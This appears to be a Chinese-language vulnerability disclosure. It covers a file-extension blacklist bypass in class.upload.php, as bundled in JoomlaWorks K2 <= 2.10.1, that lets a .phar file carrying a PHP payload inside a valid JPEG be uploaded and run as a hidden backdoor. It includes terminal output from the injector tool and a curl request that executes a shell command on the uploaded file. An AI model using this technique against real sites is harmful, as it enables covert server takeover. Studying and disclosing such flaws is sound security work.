这是一个过滤器绕过漏洞,导致任意文件上传和远程代码执行。 class.upload.php 脚本过滤“危险文件和内容”,并将其重命名为 txt 文件扩展名。 它还会对上传的图像进行不同类型的转换,这通常会破坏任何注入的有效载荷,即使可以绕过文件扩展名过滤器。
文件扩展名过滤器是一个黑名单,因此每当引入新的扩展名(此处为 phar)或遗漏了某个扩展名时,就可以上传 PHP 文件。 然而,内容仍必须是有效的图像,并且仍会通过 imagecreatefromjpeg 等函数进行处理。 为此,我编写了 inject.php 脚本,它会以暴力方式尝试不同的图像,直到找到有效载荷不会被 class.upload.php 过程中的操作破坏的图像。这实际上为我们提供了任意文件上传和非常隐蔽的代码执行,因为它仍然是有效的图像,并且会在上传的页面上像正常图像一样显示。
upload.php 脚本是 verot.net 的 github 上的示例代码。 我认为使用他们自己的示例代码来演示此漏洞是最好的。
user@ayu:/var/www/html# php inject.php
-=Imagejpeg injector 1.7=-
[+] 从 http://lorempixel.com/100/100/ 获取图像(100 X 100)
[+] 跳转至末尾字节
[+] 搜索有效注入点
[!] 临时解决方案:如果在此处遇到 'recoverable parse error',表示可能失败
[+] 似乎成功了!
[+] 结果文件:image.jpg.phar
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU
由于 class.upload.php 版本未修复,导致 JoomlaWorks K2 <= 2.10.1 中任意文件上传进而远程代码执行
普通用户上传由 inject.php 生成的图像,其中包含简单有效载荷。它将绕过 class.upload.php 中的扩展名过滤器,并且不会被库中的图像处理过程破坏。它会像普通图像一样渲染,更加隐蔽。
该文件将被上传,并可作为后门访问,执行命令。